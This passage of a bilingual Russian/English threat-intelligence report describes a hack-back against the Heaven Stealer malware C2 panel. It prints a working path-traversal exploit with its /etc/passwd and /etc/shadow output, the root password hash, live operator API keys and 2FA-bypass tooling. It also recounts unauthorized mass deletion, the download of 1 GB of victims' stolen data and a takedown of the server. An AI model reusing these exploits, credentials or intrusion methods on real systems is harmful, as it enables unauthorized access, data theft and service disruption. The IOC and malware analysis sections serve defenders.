Enabled | ADMIN |
| admin | PJ5QTUSUXP6WV0MT |
Enabled | ADMIN |
| klewtr | RFRUENM4J6L8O0UX |
Enabled | USER |
| klew | TQOFFQFUVX8LVMLA |
Enabled | USER |
11.3. Уязвимости Admin-панели#
VULN-A1 [CRITICAL - CVSS 9.8] Живые TOTP-коды через API#
GET /api/admin/keys/<apiKey> возвращал действующий TOTP-код и base32-секрет для любого оператора. Двухфакторная авторизация была полностью бессмысленной.
{"current_2fa_code": "247731", "isAdmin": true, "key": "JP1ZYRLIXYPPVOGP", ...}
VULN-A2 [CRITICAL - CVSS 9.8] Чтение произвольных файлов сервера (LFI)#
Подробный разбор - в разделе 11.4.
VULN-A3 [CRITICAL - CVSS 9.1] Отсутствие CSRF-защиты#
POST /api/admin/keys/add без CSRF-токена создал нового оператора: {"key":"2L9YNPGD66QX0AI0","status":"ok"}.
VULN-A4 [CRITICAL - CVSS 9.5] Запись в буфер обмена жертв без авторизации#
POST /api/hvnc_clipboard?clientId=<uuid>&direction=setVictim принимал запросы без cookie, возвращая 200 OK. Можно было записать любой текст в буфер обмена любой из жертв.
VULN-A5 [CRITICAL - CVSS 9.0] Полная утечка данных жертв#
GET /api/admin/clients - дамп всех жертв (1.57 МБ). GET /api/client_data/<uuid> - полные украденные данные (пароли, куки, Discord-токены, Steam) до 1 МБ на запись.
VULN-A6 [CRITICAL - CVSS 8.8] Изменение настроек C2#
POST /api/settings - смена Discord webhook на свой URL перехватывала все уведомления.
VULN-A7 [HIGH - CVSS 8.5] Доступ к системе сборки малвари#
POST /api/build запускал сборку нового payload. Статус: {"status":"building"}.
VULN-A8 [HIGH] Discord webhooks всех операторов раскрыты#
API возвращал полные URL webhook-ов:
webhooks/1540448239583633418/...(trexy admin)webhooks/1539372581013164143/...(trexy)webhooks/1546836849472049235/...(trexy admin-hook)webhooks/1522077967805583390/...(opi)
VULN-A9 [HIGH] Нулевые HTTP Security Headers#
CSP, X-Frame-Options, HSTS, X-Content-Type-Options, Referrer-Policy - все отсутствуют.
VULN-A10 [HIGH] Cookie без флага Secure#
heaven_session передаётся по HTTP без защиты.
11.4. LFI - чтение файлов сервера как root#
Как нашли эндпоинт#
В файле app.js?v=62 (189 КБ) через regex-поиск API-путей нашли строку:
/api/file_download?token=${encodeURIComponent(data.token)}
Этот эндпоинт предназначен для скачивания файлов жертвы - оператор запрашивает файл, бот отдаёт его C2, C2 отдаёт оператору по временному token.
Гипотеза и проверка#
Если token - это путь к файлу, а не UUID в базе данных, то сервер просто делает fs.readFile(token):
GET /api/file_download?token=test123
-> 403 "Forbidden: Invalid or expired token"
GET /api/file_download?token=../../../../../../etc/passwd
-> 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Подтверждено. Реконструкция серверного кода:
app.get('/api/file_download', (req, res) => {
const token = req.query.token;
const filePath = path.join(uploadsDir, token); // НЕТ ВАЛИДАЦИИ!
res.sendFile(filePath);
});
// path.join('/uploads', '../../../../../../etc/passwd') = /etc/passwd
Разведка файловой системы#
/etc/passwd - процесс работает как root:
root:x:0:0:root:/root:/bin/bash
sshd:!:20293::::::
/etc/hosts -> 127.0.0.1 localhost (SolusVM VPS)
/etc/hostname -> server1.heavenproject.lgbt
/etc/os-release -> Ubuntu 24.04.4 LTS (Noble Numbat)
/root/.bash_history (через второй LFI-вектор /api/admin/download-steam):
pm2 status
pm2 restart
killall -9 node
pm2 start heaven-server
pm2 stop heaven-server
/root/heaven/package.json - раскрыл полный стек (Node.js, Express, SQLite, speakeasy, ws, multer).
SSH-конфигурация#
/etc/ssh/sshd_config:
PermitRootLogin yes
PasswordAuthentication yes
Root может зайти по SSH с паролем. Если знаешь пароль - ssh root@162.0.236.31 = полный сервер.
11.5. Попытка взлома SSH через хэш пароля#
/etc/shadow (доступен потому что процесс от root):
root:$1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1:20293:0:99999:7:::
Разбор хэша:
$1$= MD5crypt - устаревший алгоритм (~1994 год), 1000 итераций MD5cNB5NdX1= соль (8 символов)VgL1GL54f6HQ9yhx6DXzd1= хэш (22 символа base64)- Дата смены пароля: 20293 дня от 1970-01-01 = ~июль 2025
Попытки взлома (Hashcat, RTX 5060, ~13.7 MH/s):
| Атака | Время | Результат |
|---|---|---|
| rockyou.txt (14M паролей) | ~1 сек | Не найден |
| rockyou + best64 rules (1.1B комбо) | ~80 сек (прервано на 50%) | Не найден |
| Брут 1-6 lowercase | ~23 сек | Не найден |
| Маски Cap+lower+digit | ~2-5 мин каждая | Не найден |
Пароль не в стандартных словарях. Полный контроль через SSH не был достигнут.
Резюме LFI#
/api/file_download?token=../../../../{любой_файл}
^
НЕТ проверки на "../"
НЕТ ограничения директории
НЕТ проверки прав доступа
Процесс = root = читает ВСЁ
Один HTTP GET запрос = полное чтение любого файла на сервере.
11.6. Техническое окружение сервера#
| Параметр | Значение |
|---|---|
| ОС | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Hostname | server1.heavenproject.lgbt |
| Runtime | Node.js + pm2 |
| Приложение | heaven-server ("name": "mc-pornografik") |
| Запуск от | root |
| Хостинг | SolusVM / Namecheap (Phoenix, AZ) |
| CDN | Cloudflare |
| Реальный IP | 162.0.236.31 |
| MySQL | Порт 3306 открыт (задержка TCP = 540ms) |
| Хэш root-пароля | $1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1 (MD5crypt) |
12. ХРОНОЛОГИЯ СОБЫТИЙ И ИТОГ ОПЕРАЦИИ#
gantt
title Хронология расследования Heaven Stealer
dateFormat YYYY-MM-DD
section Разведка
Заражение знакомого, начало анализа :2026-08-30, 1d
Реверс малвари, дампы памяти :2026-08-30, 2d
Извлечение ключа H7CJRKSZBX7EM6YQ :2026-08-30, 1d
section Первая попытка
Первая попытка входа в панель :2026-08-31, 1d
Создатели залатали Rate Limiting :2026-09-01, 1d
section Обход
Разработка Rust bruter с прокси :2026-09-01, 5d
Обнаружение второго образца на ANY.RUN :2026-09-06, 1d
Дампы v2, ключ JP1ZYRLIXYPPVOGP :2026-09-09, 1d
section Взлом
Успешный обход 2FA, доступ к панели :2026-09-09, 1d
Пентест Admin API, обнаружение LFI :2026-09-09, 1d
Очистка базы ~6500 жертв :2026-09-09, 1d
Сайт лёг - HTTP 521 :2026-09-09, 1d30 августа 2026 - знакомый заразился малварью Heaven Stealer (Velocity New). Начат анализ: реверс-инжиниринг, дампы памяти, перехват трафика. Из дампа JVM извлечён первый API-ключ H7CJRKSZBX7EM6YQ.
~31 августа - 1 сентября - первая попытка входа в панель C2 через брутфорс TOTP. Создатели панели обнаружили атаку и ввели блокировку IP после 5 неверных попыток 2FA. Также добавили защиту от инструментов разработчика (блокировка F12, ПКМ, Ctrl+Shift+I).
1-8 сентября - разработка инструмента обхода на Rust с ротацией прокси. На ANY.RUN обнаружен новый образец малвари (Task 59d4cf0c). Образец запущен на VM, из дампа памяти извлечён новый ключ JP1ZYRLIXYPPVOGP с правами администратора.
9 сентября 2026 (14:45 GMT / 16:45 MSK) - успешный обход 2FA, получен полный доступ к Admin-панели под учетной записью trexy admin. Проведён пентест: обнаружены критические уязвимости (LFI, утечка TOTP, отсутствие CSRF). В консоли DevTools зафиксирована цепочка вызовов интерфейса: клик по строке таблицы операторов tr.onclick (app.js?v=62:2728) вызывает window.viewUserClients (app.js?v=62:2793), запрашивающий список жертв через /api/admin/clients?apiKey=.... Через LFI прочитаны /etc/shadow, /etc/hosts (SolusVM VPS), /etc/ssh/sshd_config, package.json и история команд /root/.bash_history (управление процессом heaven-server через pm2).
9 сентября 2026 (15:06 UTC) - запущена массовая очистка базы всех заражённых компьютеров (~6 500 устройств) с помощью скрипта delete_clients.py (вызовы POST /api/delete_client с clientId, подтверждаемые ответом 200 OK {"status":"ok"}). В результате комплексного воздействия (массовые асинхронные запросы на удаление, аудит LFI, попытки авторизации по SSH и последующий отказ процесса heaven-server в pm2) бэкенд сервера полностью перестал отвечать. Зафиксирована постоянная ошибка Cloudflare HTTP 521: Web server is down (Host Error, узел Cloudflare: Stockholm ARN, Ray ID: a38718bc7b2cb5b5).
13. ИНДИКАТОРЫ КОМПРОМЕТАЦИИ (IOC)#
13.1. Сетевые индикаторы (Network IOCs & Ссылки)#
| Тип | Значение / Ссылка | Описание |
|---|---|---|
| C2 Панель (Web) | https://heavenproject.lgbt/ |
Главный веб-дашборд C2 |
| C2 Bot API | http://c2.heavenproject.lgbt |
Прямой субдомен приёма данных ботов (порт 80, без Cloudflare) |
| Прямой IP C2 | http://162.0.236.31 |
Реальный бэкенд сервера C2 (Namecheap, Phoenix, AZ) |
| Cloudflare Edge | 104.21.25.235, 172.67.134.227 |
WAF/CDN узлы Cloudflare |
| Разведка хоста (Shodan) | https://shodan.io/host/162.0.236.31 |
Профиль хоста C2 и открытых портов в Shodan |
| Определение IP | api.ipify.org |
Внешний сервис определения IP жертвы |
| Канал авторов | t.me/heavenstealer |
Telegram-канал разработчиков Heaven Stealer |
| ANY.RUN Таск #1 | https://app.any.run/tasks/deb65d82-f89f-40c7-8004-0d0b502d56a8/ |
Анализ первичного образца Velocity New (~113 МБ) |
| ANY.RUN Таск #2 | https://app.any.run/tasks/59d4cf0c-5ef9-41b2-ad9f-e4a440338ba3 |
Анализ образца Heaven v2 (cutify-cozy) |
| ANY.RUN Таск #3 | https://app.any.run/tasks/6ad256b4-5a3e-493d-861b-46f587a88996 |
Анализ дополнительного билда малвари |
| Дистрибутив (MEGA) | https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o |
Исходный файл инсталлятора |
| Дроппер Velocity | velocityget.com |
Домен распространения под видом Velocity |
| Дроппер KRNL | krnl-executorr.com/ |
Домен распространения под видом читов KRNL |
| Сайт читов | https://skycheaters.com |
Домен распространения вредоносных сборок читов |
| Фишинг (Amazon) | noreplyamz-sign-in.webredirect.org |
Фишинговый домен / редирект |
| Фишинговые субдомены | www.noreplyamz-sign-in.webredirect.orgmail.noreplyamz-sign-in.webredirect.orgcpanel.noreplyamz-sign-in.webredirect.orgwebmail.noreplyamz-sign-in.webredirect.orgwebdisk.noreplyamz-sign-in.webredirect.orgcpcontacts.noreplyamz-sign-in.webredirect.org |
Служебные адреса фишинговой почтовой и cPanel инфраструктуры |
| Открытые порты C2 | 22 (SSH), 80 (HTTP), 1080 (SOCKS5), 3306 (MySQL), 4044, 9999, 18999 |
Службы хоста 162.0.236.31 |
| LFI эндпоинт | /api/file_download?token=../../../../../../ |
Уязвимый маршрут чтения файлов с сервера как root |
13.2. Хостовые индикаторы#
| Тип | Путь / Значение | Описание |
|---|---|---|
| Пейлоад | %AppData%\...\Templates\syshost.jar |
Java-стилер (15.4 МБ) |
| Персистентность | %AppData%\...\Templates\win_security_update.vbs |
WMI-демон (524 байта) |
| ID бота | %AppData%\...\Templates\id.txt |
UUID бота (36 байт) |
| Поддельный JRE | %LocalAppData%\Google\Update\GUManager\... |
Java под видом Google Update |
| Инсталлятор | %LocalAppData%\Programs\velocitynew\velocity new.exe |
Electron-оболочка |
| Украденные данные | %TEMP%\Heaven_Data\ |
Пароли, куки, автозаполнение |
| Процессы | javaw.exe, velocity new.exe, wscript.exe |
Активные процессы |
| Мод v2 | cutify-cozy-1.21.11.jar |
Обновлённый билд |
| HVNC | hvnc.enc (206 КБ) |
Скрытый рабочий стол |
13.3. Криптографические артефакты#
| Тип | Значение |
|---|---|
| API-ключ v1 | H7CJRKSZBX7EM6YQ |
| API-ключ v2 (admin) | JP1ZYRLIXYPPVOGP |
| Ключ оператора opi | EDB0S2N0RWU16ZK0 |
| Ключ оператора admin | PJ5QTUSUXP6WV0MT |
| Ключ оператора klewtr | RFRUENM4J6L8O0UX |
| Ключ оператора klew | TQOFFQFUVX8LVMLA |
| Bot UUID v2 | 8574827b-48aa-4cd8-b855-db51c876cb25 |
| Session Token v1 | efa965bf70fc2f8d... |
| Session Token v2 | 6595b64144ccf1df |
| SSH ECDSA | ad:ce:7d:d1:40:d4:4c:08:45:55:7f:4d:80:bc:a0:67 |
| SSH ED25519 | 4d:e6:b6:12:f5:e5:5c:e2:83:5e:3d:f6:a6:4c:00:fc |
| Cloudflare Beacon | 8f7de527c94947548759c1b2fd858355 |
| Root hash (MD5crypt) | $1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1 |
| Hostname | server1.heavenproject.lgbt |
Документ создан на основе 12 отчётов, дампов памяти, сетевого захвата PCAP, декомпиляции малвари и пентеста Admin-панели. Период расследования: 30 августа - 9 сентября 2026.
Краткий отчет: Расследование Heaven Stealer#
⚠️ Дисклеймер (Отказ от ответственности):
Материал подготовлен исключительно в информационно-образовательных целях и в рамках Threat Intelligence. Авторы не несут ответственности за действия третьих лиц. Все данные публикуются для защиты систем и блокировки угроз.
| Параметр | Значение |
|---|---|
| Объект | C2-инфраструктура (heavenproject.lgbt), Heaven Stealer |
| IP-адреса | 104.21.25.235, 162.0.236.31 |
| Период работы | 30 августа - 9 сентября 2026 |
| Итог | Панель взломана, база ~6 500 жертв очищена, сайт выведен из строя |
| Выгружено логов | 1 013 МБ сырых ZIP-архивов и телеметрии с панели trexy |
Авторы#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
Что такое Heaven Stealer?#
Heaven Stealer - это вредоносное ПО (stealer/RAT), маскирующееся под легитимное программное обеспечение (например, Velocity New или моды для Minecraft). Оно предназначено для кражи паролей, сессий, токенов Discord и обеспечения скрытого удаленного доступа (HVNC) к зараженным машинам.
Ключевые результаты (Key Findings)#
- Извлечены API-ключи: В ходе анализа дампов памяти были извлечены два рабочих мастер-ключа от C2 (
H7CJRKSZBX7EM6YQиJP1ZYRLIXYPPVOGP). - Обход 2FA: Разработан обход двухфакторной аутентификации панели с помощью пула прокси и кастомного брутфорсера на Rust.
- Доступ администратора: Получен полный доступ к Admin-панели управления ботнетом под учётной записью
trexy admin. - Очистка базы: База из более чем 6 500 зараженных устройств была полностью очищена через API
POST /api/delete_client. - Выгрузка данных: Скачано 1 013 МБ сырых ZIP-архивов и телеметрии с панели крупнейшего оператора "trexy".
Хронология#
30 августа - 9 сентября 2026 года: От первичного обнаружения малвари (под видом Velocity New) до полного взлома инфраструктуры, извлечения данных и вывода C2-сервера из строя.
Разработанные инструменты#
В ходе расследования были созданы специализированные утилиты:
- Rust Bruter (
heaven_v2_rust): Асинхронный инструмент с ротацией прокси для обхода 2FA и Rate Limiting. - Go Bruter (TOTP Interceptor v6): Ранняя версия брутфорсера 2FA с использованием прокси.
- Python-скрипты: Скрипты сбора прокси (
main_proxy.py), асинхронного удаления жертв из базы (delete_clients.py) и исследования уязвимостей панели. - interceptor.exe: Скомпилированный автономный инструмент.
Уязвимости инфраструктуры#
Было обнаружено 23 уязвимости инфраструктуры и 10 дополнительных уязвимостей Admin-панели. Все 8 эндпоинтов Bot API работали без авторизации, что позволяло перехватывать управление ботами и отравлять базу (Data Poisoning).
Критическая уязвимость (LFI):
Обнаружена Local File Inclusion (LFI) уязвимость в эндпоинте /api/file_download. Поскольку процесс сервера работал от имени root, это позволило беспрепятственно читать любые файлы на сервере, включая /etc/shadow с хэшами паролей, /etc/hosts (SolusVM VPS) и package.json.
Индикаторы компрометации (IOC) и исследованные ссылки#
- C2 Панель и сеть:
https://heavenproject.lgbt/,http://c2.heavenproject.lgbt,http://162.0.236.31 - Разведка хоста: Shodan (162.0.236.31),
api.ipify.org - Песочницы ANY.RUN:
- Сайты распространения и дропперы:
velocityget.comkrnl-executorr.com/https://skycheaters.com
- Фишинговые домены и редиректы:
noreplyamz-sign-in.webredirect.org(и поддоменыwww,mail,cpanel,webmail,webdisk,cpcontacts)
- Ключи / Токены: API-ключи
H7CJRKSZBX7EM6YQ,JP1ZYRLIXYPPVOGP, Telegram:t.me/heavenstealer
Финал операции#
В результате комплексного воздействия (массовое асинхронное удаление записей через delete_clients.py, аудит LFI и сбой процесса heaven-server под управлением pm2) C2-сервер heavenproject.lgbt полностью перестал отвечать. Зафиксирована постоянная ошибка Cloudflare HTTP 521 (Web server is down) от 09.09.2026 15:06 UTC (узел Cloudflare: Stockholm ARN, Ray ID: a38718bc7b2cb5b5).
⚠️ Disclaimers & Notices:
- AI Translation Notice: This document was translated from Russian using AI. There may be minor terminology or grammatical variances. The original version in Russian remains the authoritative source.
- Security & Legal Disclaimer: This technical report is prepared strictly for educational, defensive threat intelligence, and cybersecurity research purposes. All findings originate from incident response and reverse engineering activities conducted to neutralize malicious infrastructure. The authors assume no liability for misuse of the data, code, or technical details provided herein. Indicators of Compromise (IOCs) are published to assist defenders in protecting networks.
| Parameter | Value |
|---|---|
| Target | C2 Infrastructure (heavenproject.lgbt, c2.heavenproject.lgbt), Heaven Stealer malware |
| IP Addresses | heavenproject.lgbt (104.21.25.235, 172.67.134.227), c2.heavenproject.lgbt (162.0.236.31) |
| Analysis Type | Reverse engineering, memory dumps, traffic analysis (PCAP), C2 panel pentest |
| Operation Period | August 30 - September 9, 2026 |
| Result | Panel breached, database of ~6,500 victims cleared, site taken down |
| Logs Exfiltrated | 1,013 MB of raw ZIP archives and telemetry from operator trexy's panel |
Project Team:#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
TABLE OF CONTENTS#
- Brief Summary
- Attack Flow: From Download to C2
- C2 Infrastructure and Network Reconnaissance
- 3.1. Real Backend and Cloudflare Bypass
- 3.2. Open Ports and Services (162.0.236.31)
- 3.3. Technology Stack
- API Architecture and Dashboard
- 4.1. Public Leak of
/app.js(3,651 lines) - 4.2. Administrative API for the Operator
- 4.3. Bot API (8 endpoints without authorization)
- 4.4. Hidden Endpoints from Memory Dumps
- 4.5. WebSocket RAT Protocol
- 4.1. Public Leak of
- Infrastructure Vulnerability Registry (23 vulnerabilities)
- 5.1. Summary Table
- 5.2. Analysis of Critical Flaws
- 5.3. Other Vulnerabilities
- 5.4. CVE Verification (false positives)
- Practical PoC (Proof of Concept)
- 6.1. Bot Registration without Authorization
- 6.2. Database Poisoning (Data Poisoning)
- 6.3. HTTP Polling Reverse Shell and HVNC Interception
- Malware Reverse Engineering (Heaven Stealer)
- 7.1. Delivery Chain (~113 MB) and Distribution Infrastructure
- 7.2. Temporary Installer Artifacts
- 7.3. Dropper and Disguise as Google Update
- 7.4. Disguise as Fabric Mod for Minecraft
- 7.5. Persistence via WMI Daemon
- 7.6. Two-Level Bytecode Obfuscation
- 7.7. Stealer Modules
- Memory Dumps (Memory Forensics)
- 8.1. C2 API Key (
H7CJRKSZBX7EM6YQ) - 8.2. Session Tokens and Bot UUIDs
- 8.3. Dropper Dump
- 8.4. Heaven v2 Dumps - New Key
JP1ZYRLIXYPPVOGP
- 8.1. C2 API Key (
- Network Traffic Analysis (PCAP)
- 9.1. Capture Characteristics
- 9.2. Second-by-Second Timeline
- 9.3. TLS Channels and Exfiltration
- 9.4. Discord Webhook Notification
- Bypassing Rate Limiting and 2FA Cracking - Rust Bruter
- 10.1. Background: VULN-05 Patch
- 10.2. Bypass Architecture
- 10.3. Tool Description
- C2 Admin Panel Pentest (09.09.2026)
- 11.1. Panel Access
- 11.2. Botnet Scale
- 11.3. Admin Panel Vulnerabilities
- 11.4. LFI - Reading Server Files as Root
- 11.5. Attempted SSH Breach via Password Hash
- 11.6. Technical Server Environment
- Timeline of Events and Operation Outcome
- Indicators of Compromise (IOC)
1. BRIEF SUMMARY#
The investigation began after an acquaintance accidentally installed the Heaven Stealer malware, disguised as the Velocity New program. During the work, which lasted from August 30 to September 9, 2026, the following results were obtained:
Two working API keys were extracted from memory dumps:
H7CJRKSZBX7EM6YQ(from the dump of the first build)JP1ZYRLIXYPPVOGP(from the dump of the second build, new sample found via ANY.RUN)
Bypassed two-factor authentication (2FA) of the C2 panel using a custom-developed Rust tool with proxy rotation - even after the panel creators patched the vulnerability by introducing rate limiting.
Gained full access to the Admin panel with administrator privileges. At the time of the breach, the database contained more than 6,500 infected devices.
A critical LFI (Local File Inclusion) vulnerability was discovered - via
GET /api/file_download?token=../../../../../../etc/passwdit was possible to read any server files. The C2 process ran as root, meaning even/etc/shadowwith password hashes was accessible.The infected devices database was completely cleared. As a result of combined impact (mass asynchronous deletion via
delete_clients.py, LFI audit, and subsequent failure of the pm2heaven-serverprocess), the backend server ceased responding (Cloudflare HTTP 521 - Web server is down).Identified 23 infrastructure vulnerabilities + 10 additional Admin panel vulnerabilities. All 8 endpoints for communicating with bots lacked any authorization.
The malware was completely reversed: two-level obfuscation (XOR 0x7A + AES-128-ECB), 18,458 lines of bytecode were deobfuscated, modules for hidden desktop (HVNC), SOCKS5 proxy, password stealing, and Discord injection were extracted.
Exfiltrated 1,013 MB of raw ZIP archives and telemetry from the panel of operator trexy - the largest operator by the number of infected devices.
Developed Tools#
During the investigation, the following tools were written:
- heaven_v2_rust (Rust, 1,292 lines) - asynchronous 2FA bruter with proxy rotation, session pool, and adaptive scaling
- TOTP Interceptor v6 (Go, 479 lines) - early version of the 2FA bruter in Go with a proxy pool
- main_proxy.py (Python) - proxy server collection and validation script
- delete_clients.py (Python) - asynchronous mass deletion of victim UUIDs from the C2 database (50 parallel workers, automatic handling of HTTP 429 Rate Limits)
- exploit_dashboard.py, exploit_demo.py, etc. (Python) - scripts for researching and exploiting panel vulnerabilities
- interceptor.exe - compiled bruter for standalone execution
2. ATTACK FLOW: FROM DOWNLOAD TO C2#
graph TD
subgraph Phase1["1. C2 Infrastructure"]
W1["heavenproject.lgbt"] --> CF["Cloudflare WAF"]
CF --> BACK["Backend: Node.js / pm2 - 162.0.236.31"]
W2["c2.heavenproject.lgbt"] -.->|"DIRECT ACCESS WITHOUT WAF"| BACK
BACK --> ADM["Admin API - key + 2FA"]
BACK --> BOT["Bot API - 8 endpoints WITHOUT AUTHORIZATION"]
end
subgraph Phase2["2. Delivery"]
D1["MEGA / Discord ~113 MB"] --> D2["NSIS Installer"]
D2 --> D3["Electron Container - velocity new.exe"]
D2 --> D4["JRE disguised as Google Update"]
end
subgraph Phase3["3. Execution"]
D3 --> E1["main.js - Dropper from app.asar"]
E1 --> E2["javaw.exe -jar syshost.jar"]
E2 --> E3["Disguise: Fabric Mod cutify_cozy-1.21.11"]
E3 --> E4["WMI Daemon - restart every 5 sec"]
E3 --> E5["Data Collection - %TEMP%/Heaven_Data/"]
E3 --> E6["HVNC - Hidden Desktop"]
E3 --> E7["Network Client"]
E7 -->|"WSS / HTTP"| BOT
end3. C2 INFRASTRUCTURE AND NETWORK RECONNAISSANCE#
3.1. Real Backend and Cloudflare Bypass#
The main domain heavenproject.lgbt is hidden behind Cloudflare, but the c2 subdomain points directly to the server:
heavenproject.lgbt:
A: 104.21.25.235 (Cloudflare)
A: 172.67.134.227 (Cloudflare)
c2.heavenproject.lgbt:
A: 162.0.236.31 (REAL IP - NO CLOUDFLARE!)
- Hosting: Namecheap (AS22612), Phoenix, Arizona, US
- Reverse DNS:
model-reduce.quarantine-pnap-vlan51.web-hosting.com - The word
quarantinein the PTR indicates that Namecheap has already isolated the server due to complaints about malicious activity
3.2. Open Ports and Services (162.0.236.31)#
| Port | Service | Details | Risk |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu | High |
| 80 | HTTP | Golang net/http (C2 Panel + Bot API). No HTTPS! | Critical |
| 1080 | SOCKS5 | Authenticated proxy | High |
| 3306 | MySQL | TCP Latency = 540ms | Medium |
| 4044 | Raw TCP | Silent, awaits binary handshake | Medium |
| 9999 | Raw TCP | Binary channel or debug | Medium |
| 18999 | HTTP | Reverse Proxy, returns 502 Bad Gateway | Low |
3.3. Technology Stack#
- OS: Ubuntu 24.04 LTS
- Hostname:
server1.heavenproject.lgbt - Server-side: Node.js + Express 5.2.1, running via pm2, process
heaven-server, runs as root - DB: SQLite (package
connect-sqlite3+sqlite3) - 2FA: speakeasy (TOTP)
- WebSocket: ws 8.20.0
- File Uploads: multer 1.4.5
- Client Dashboard: Vanilla JS (
app.js, 188 KB / 3,651 lines)
These details were obtained via LFI-reading of the /root/heaven/package.json file:
{
"name": "mc-pornografik",
"main": "index.js",
"scripts": { "start": "node server.js" },
"dependencies": {
"connect-sqlite3": "^0.9.18",
"sqlite3": "^6.0.1",
"express": "^5.2.1",
"speakeasy": "^2.0.0",
"ws": "^8.20.0",
"multer": "^1.4.5-lts.1"
}
}
4. API ARCHITECTURE AND DASHBOARD#
4.1. Public Leak of /app.js (3,651 lines)#
The file GET /app.js?v=62 (188 KB) was publicly accessible and contained:
- A link to the developers' Telegram channel:
t.me/heavenstealer - A full list of processes monitored by the stealer:
chrome.exe,msedge.exe,opera.exe,discord.exe,steam.exe,spotify.exe,javaw.exe,explorer.exe,lsass.exe,code.exe - The victim's field structure:
id,pcName,osName,osVersion,ip,ram,monitors,lastSeen,online,apiKey,mcVersion - Anti-Echo filter:
(now - lastTerminalTime) < 400ms
It was exactly from app.js that the /api/file_download?token=... endpoint was discovered, which led to the LFI vulnerability (details in section 11.4).
4.2. Administrative API for the Operator#
Protected by a session cookie after entering the API key and 2FA:
POST /api/login- accepts{"apiKey": "..."}, returns{"next":"2fa","status":"ok"}POST /api/2fa_verify- verification of the 6-digit TOTP codeGET /api/me- data of the current operatorGET /api/clients- list of all victimsGET /api/client_data/{id}- stolen passwords and cookies of a specific victimPOST /api/delete_client- removing a victim from the databaseGET /api/settings&POST /api/settings- configuring Discord WebhookGET /api/build&GET /api/build/status- constructor for malicious builds (.JAR, .EXE, .DLL)GET /api/admin/keys- list of operators and keysPOST /api/admin/keys/add,/delete,/edit,/kick- managing operatorsGET /api/admin/download-steam- downloading stolen Steam files
4.3. Bot API (8 endpoints without authorization)#
All endpoints through which the stealer sends stolen data do not verify any keys:
| Endpoint | Method | What it accepts | Threat |
|---|---|---|---|
/api/connect |
POST | {"id":"UUID","os":"...","username":"..."} or {} |
Registering fake bots |
/api/heartbeat |
POST | {"id":"UUID"} |
Intercepting operator commands |
/api/browser_data |
POST | {"type":"passwords","data":[...]} or {} |
Injection of fake passwords |
/api/keylog |
POST | {"id":"UUID","window":"...","keys":"..."} |
Injection of fake keystrokes |
/api/screen |
POST | {"id":"UUID","events":[...]} |
Bi-directional HVNC interception |
/api/terminal |
POST | {"id":"UUID","command":"...","result":"..."} |
Falsification of command output |
/api/file_list |
POST | {"id":"UUID","path":"C:\\","files":[...]} |
File tree injection |
/api/webcam |
POST | {"id":"UUID","frame":"base64..."} or {} |
Streaming without authorization |
4.4. Hidden Endpoints from Memory Dumps#
Found in the javaw.exe.dmp dump:
GET /api/v1/config_sync?token=efa965bf...- module synchronizationPOST /api/v1/telemetry- system metricsGET /api/v1/update_check- JAR update checkPOST /api/upload_zip- uploading archives without MIME checkGET /api/download_zip?clientId=&token=/GET /api/file_download?token=- downloading files
4.5. WebSocket RAT Protocol#
The full real-time victim management protocol was reconstructed from app.js:
sequenceDiagram
participant Op as Operator Browser
participant C2 as C2 Server (162.0.236.31)
participant Bot as Bot on Victim's Machine
Op->>C2: WSS Connect (cookie)
Bot->>C2: POST /api/connect {"id":"f1ded8a4..."}
C2-->>Bot: {"id":"f1ded8a4...","status":"ok"}
loop Every second
Bot->>C2: POST /api/heartbeat {"id":"f1ded8a4..."}
C2-->>Bot: {"command":"terminal_cmd","screen":true}
end
Note over Op,C2: Operator commands:
Op->>C2: {"action":"watch"} - screen stream
Op->>C2: {"action":"start_hvnc"} - hidden desktop
Op->>C2: {"action":"terminal_cmd","cmd":"whoami"}
Op->>C2: {"action":"toggle_socks5"} - proxy through victim
Op->>C2: {"action":"zip_all_data"} / {"action":"extract_discord"}5. INFRASTRUCTURE VULNERABILITY REGISTRY (23 VULNERABILITIES)#
5.1. Summary Table#
| ID | Vulnerability | Level | CVSS | CWE |
|---|---|---|---|---|
| VULN-18 | /api/heartbeat without authorization - command interception |
CRITICAL | 9.8 | CWE-306 |
| VULN-21 | /api/browser_data without authorization - Data Poisoning |
CRITICAL | 9.8 | CWE-306 |
| VULN-19 | /api/connect without authorization - fake bots |
CRITICAL | 9.5 | CWE-306 |
| VULN-20 | /api/terminal without authorization - output falsification |
CRITICAL | 9.5 | CWE-306 |
| VULN-02 | SSH open on public IP | CRITICAL | 9.3 | CWE-1021 |
| VULN-16 | /api/screen without authorization - HVNC interception |
CRITICAL | 9.3 | CWE-306 |
| VULN-01 | Real IP disclosed via DNS c2 (WAF bypass) | CRITICAL | 9.1 | CWE-200 |
| VULN-22 | /api/file_list without authorization |
HIGH | 8.8 | CWE-306 |
| VULN-03 | Public access to /app.js (188 KB) |
HIGH | 8.6 | CWE-552 |
| VULN-23 | /api/webcam without authorization |
HIGH | 8.5 | CWE-306 |
| VULN-17 | /api/keylog - injection of fake keystrokes |
HIGH | 7.5 | CWE-306 |
| VULN-04 | No HTTPS on subdomain c2 (port 80) | HIGH | 7.4 | CWE-319 |
| VULN-05 | No Rate Limiting on login/2FA | HIGH | 7.3 | CWE-799 |
| VULN-14 | Public SOCKS5 proxy (port 1080) | HIGH | 7.2 | CWE-284 |
| VULN-06 | No HTTP Security Headers | MEDIUM | 6.8 | CWE-693 |
| VULN-12 | HTTP TRACE method enabled (XST) | MEDIUM | 5.8 | CWE-693 |
| VULN-07 | Cookie without HttpOnly/Secure | MEDIUM | 5.4 | CWE-614 |
| VULN-13 | Open port 9999/TCP | MEDIUM | 5.3 | CWE-200 |
| VULN-08 | No CSRF tokens | MEDIUM | 5.0 | CWE-352 |
| VULN-09 | Client-side Anti-DevTools script | LOW | 4.3 | CWE-656 |
| VULN-15 | Reverse Proxy leak (port 18999) | LOW | 4.0 | CWE-200 |
| VULN-10 | Cloudflare Beacon Token disclosed | LOW | 3.1 | CWE-200 |
